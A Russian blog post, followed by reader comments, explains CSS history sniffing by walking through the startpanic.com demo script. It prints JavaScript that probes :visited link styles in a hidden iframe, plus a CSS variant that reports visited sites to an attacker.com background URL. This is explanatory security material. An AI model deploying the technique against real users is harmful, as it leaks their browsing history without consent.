Чтение истории посещений с помощью CSS

На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная – все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет – используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.

Прежде всего сохраняем c сайта /js/sp.js – главный скрипт, который выполняет проверку посещенных страниц. Скрипт минимизирован, поэтому его необходимо отформатировать, например это можно сделать в Aptana IDE (Ctrl+Shift+F). Итак, как видно из кода, прежде всего AJAX‘ом подгружается большой список сайтов размером порядка 1,5 МБ:

letsBegin('en');
function letsBegin(a){
    startCheck("/db/db_" + a + ".txt")
}
function startCheck(a){
    $.get(a, function(d){
        var c = d.split("\n");
        for (var b in c) {
            c[b] = "http://" + c[b]
        }
        user = StartPanic(c)
    })
}

Далее создается скрытый iframe, куда впоследствии будут помещаться ссылки на сайты из списка:

var p = document.createElement("iframe");
$(p).css({
    position: "absolute",
    width: "1px",
    height: "1px",
    visibility: "hidden"
});
$("body").append($(p));

В созданном ифрейме указываются стили, при чем посещенные ссылки будут иметь атрибут display равное inline:

p.doc.write("<style>");
p.doc.write("a{color: #000000; display:none;}");
p.doc.write("a:visited {color: #FF0000; display:inline;}");
p.doc.write("</style>");

Внутри iframe последовательно создаются ссылки, у которых проверяется атрибут display (q – DOM-элемент ифрейма; r – DOM-элемент ссылки):

return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");

Собственно вот и весь алгоритм, хотя он отличается от традиционного варианта тем, что для посещенных ссылок вместо display:inline устанавливается атрибут background, который указывает на backend-приложение атакующего, логирующее все входящие адреса. Пример такого варианта:

<style>
     a:visited{background:url("http://attacker.com/?msn.com")}
     a:not(:visited){background:url(//not-visited)}
</style>
<a href="http://msn.com">x</a>

Разница между двумя способами также может проявляться в производительности: для традиционного варианта необходимо создавать для каждой ссылки отдельный ифрейм.

В заключение хочу отметить представленную на BlueHat 2008 работу, из которой можно подчерпнуть еще больше информации о применении CSS для реализации таких атак, как XSS и Clickjacking, а также о некоторых других не менее интересных приемах.

Join the Conversation

17 Comments

  1. полезная информация, неадвно искал инфе по xss в стилях, в итоге вышла активка для ие в ипб3 (: /*привет brain[pillow]*/

  2. Почитал «представленную на BlueHat 2008 работу», выпал в осадок. То есть, получается, в ЖЖ можно выхватить автозаполненный браузером пароль из верхней полоски нафигации при помощи злого CSS?

  3. Просто гениально 🙂

    Вообще интересно, как это можно “пофиксить”. Ок, пусть будет запрещено скриптам проверять стили в :active ссылках или будут выдаваться те же данные, что и у обычных ссылок. Но проверяя у соседних блоков такие свойства, как clientHeight, всегда можно узнать что стиль на ссылку сработал. Как можно пофиксить примеры, описанные в презентации, на уровне браузера тоже непонятно.

    Разве что только встроить в браузеры “поведенческий антивирус”, который будет реагировать, когда скрипты и загруженные CSS ведут себя подозрительно. Это решило бы все проблемы разом.

  4. странно я прошался по ссылке startpanic.com и мне ничего не выдало

  5. Нету истории посещений – нету и проблемы.
    Я одного не понял, почему “секси ассассин” ? ( :
    Кстати, вот “сборник” PoC’ов по теме: hxxp://p42.us/css/

  6. @artyfarty
    Чтение атрибутов html-тэгов, действительно, очень интересный прием. Не уверен, что ЖЖ допускает возможность использования своих стилей, но получить пароль, который был автоматически заполнен в соответствующее поле, например, Firefox’ом, вполне реально (правда необходим небольшой таймаут).

    @Varyen
    Разработчики Firefox работают над устранением этого бага, посмотрим, что у них получится 😉 Однозначных решений я не вижу, тоже склоняюсь к идее поведенческого анализа.

    @cr0w
    Почему sexy assassin – без понятия 🙂 а сборник упоминался в презентации.

  7. Что-то странно, Jeremiah Grossman про это ещё в 2006-7 писал, как-то большой паники не было. Даже, кажется, в их с RSnake книжке про это есть. Более того, можно и без JS обойтись, голым CSS, см. http://ha.ckers.org/weird/CSS-history.cgi

  8. А, виноват. У меня почему-то не отразился с NoScript ваш второй вариант, который без JS. Какая ирония.

  9. raz0r, ну несерьезно.. эта фича впервые обнаружена была, если не ошибаюсь, в 2002 году.

    В общем для такого блога, низачот… Старая инфа..

  10. @Raz0r
    В ЖЖ custom css есть даже у бесплатников, у платников вообще почти полный доступ к теме, хоть кверх ногами переверни. (Скрипты вроде режутся)

    Ещё недавно можно было наезжать на соседние посты во френдленте при помощи position: relative, о чём тут говорить… А убрали позишен, так остались отрицательные маргины…

  11. нет не db_en.txt, в http://startpanic.com/urls передаются ссылки как раз таки из db_en.txt там они обрабатываются и выдаются списком который мы и видим на главной

    передаются они постом в виде “urls[]=http://google.com/&urls[]=http://google.ru/&итд”
    а в ответ он выдает

    Google

    Google

    как бы в sp.js вроде есть частичная обработка этого но я не особо в нем силен, а очень хочется разобраться
    p.s. могу и ошибаться

  12. поправочка

    <li><a href=”http://google.com/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.com.gif” width=”16″ height=”16″ alt=”fav” /> Google
    </a></li>
    <li><a href=”http://google.ru/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.ru.gif” width=”16″ height=”16″ alt=”fav” /> Google
    </a></li>

  13. все вопросы отменяются, на свежую голову разобрался

  14. вообще, если посмотреть глобально, то достаточно безобидный баг, имхо. хотя, неприятные моменты есть.

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.